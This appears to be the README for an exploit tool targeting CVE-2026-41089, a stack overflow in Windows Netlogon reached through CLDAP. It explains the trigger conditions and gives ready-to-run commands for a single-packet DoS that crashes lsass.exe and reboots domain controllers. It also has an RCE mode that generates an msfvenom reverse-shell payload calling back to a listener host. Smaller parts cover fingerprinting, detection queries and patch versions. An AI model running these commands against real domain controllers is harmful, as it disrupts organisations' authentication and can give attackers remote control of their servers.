
CVE-2026-41089 是 Windows Netlogon 服务中一个关键的远程代码执行漏洞,单包即可崩溃 lsass.exe,导致域控制器在约 30-60 秒内重启。此期间该 DC 的所有域认证将失败。
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Критический)
CWE: CWE-121 (Стековое переполнение буфера)
Вектор атаки: UDP/389 (CLDAP SearchRequest)
Воздействие: Удалённое выполнение кода (RCE) / Отказ в обслуживании (DoS)
Затронутые версии: Windows Server 2012 R2 ~ 2025 (контроллеры домена)
Патч: Кумулятивное обновление мая 2026 года
Функция NetpLogonPutUnicodeString в netlogon.dll содержит уязвимость переполнения стека при обработке запросов поиска CLDAP. Функция получает бюджет длины в байтах, но интерпретирует его как количество WCHAR, что приводит к записи в 2 раза больше ожидаемого.
Переполнение происходит в фиксированном стековом буфере размером 528 байт (264 ushort) функции NlGetLocalPingResponse. Управляемое атакующим поле User вместе с собственным DNS-именем сервера заполняют этот буфер, в конечном итоге перезаписывая GS-куки, что вызывает __report_gsfailure и аварию lsass.exe.
NtVer=0x02 (принудительное использование старого, уязвимого пути BuildSamLogonResponse)User ≥ ~130 символов (бинарный лимит ~260 байт UTF-16)Внимание:
NtVer=0x16(значение, используемое многими публичными скриптами обнаружения) активирует безопасный путьBuildSamLogonResponseEx, не вызывающий уязвимость.
| Режим | Описание |
|---|---|
Один пакет приводит к аварии lsass.exe, из-за чего контроллер домена перезагружается в течение ~30-60 секунд. В течение этого времени вся доменная аутентификация через данный DC будет невозможна.
# Базовое использование — отправка 3 пакетов
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# Быстрая атака одним пакетом
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# Агрессивный режим — 5 одновременных пакетов
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Исследовательский уровень — ненадёжен и нестабилен в реальных условиях.
Проблемы RCE:
# Генерация shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# Отправка цепочки RCE
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# Снятие отпечатков целевого DC
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Пример ожидаемого вывода (запатченная цель):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Пример ожидаемого вывода (незапатченная цель):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Если NtVer=0x02 даёт таймаут, а остальные версии отвечают нормально, то цель, скорее всего, уязвима.
# Создание DC с длинным доменом на Windows Server (незапатченном):
# 1. Повышение до контроллера домена (имя DNS с очень длинным доменом, например "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. Убедитесь, что установлен патч до мая 2026 года.
# 3. Запустите из атакующей машины:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. Наблюдайте аварию и перезагрузку DC
User > 100 байт и NtVer = 0x02Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
Данный инструмент предназначен только для авторизованной оценки безопасности, пен-теста, соревнований CTF и оборонительных исследований. Использование в любой системе без явного письменного разрешения является незаконным. Ответственность за любые последствия несёт пользователь.
--mode dos| Отправляет специально сформированный пакет CLDAP, вызывающий аварию LSASS и перезагрузку DC (~60 секунд прерывания аутентификации) |
--mode rce | Попытка удалённого выполнения кода (исследовательский уровень, требуется shellcode) |
--mode scan | Сканирование ответов с разными значениями NtVer, снятие отпечатков целевого DC |
--mode auto | Автоматическое обнаружение и выбор наилучшей стратегии атаки |
| Параметр | Описание | Значение по умолчанию |
|---|
-l, --user-len | Длина поля имени пользователя (количество ASCII символов) | 180 |
--ntver | Значение NtVer (шестнадцатеричное, напр. 0x02) | 0x02 |
--count | Количество отправляемых DoS-пакетов | 3 |
--delay | Задержка между пакетами (сек) | 0.5 |
-t, --timeout | Таймаут сокета (сек) | 5.0 |
--json | Вывод результатов в формате JSON | — |
--raw | Печать сырого дампа пакета перед отправкой | — |
--quiet | Подавление вывода баннера | — |
--shellcode-file | Файл пользовательского shellcode (сырой x64) | — |
--lhost | Адрес для обратного шелла | — |
--lport | Порт для обратного шелла | 4444 |
| Версия Windows Server | Номер патча | Примечания |
|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |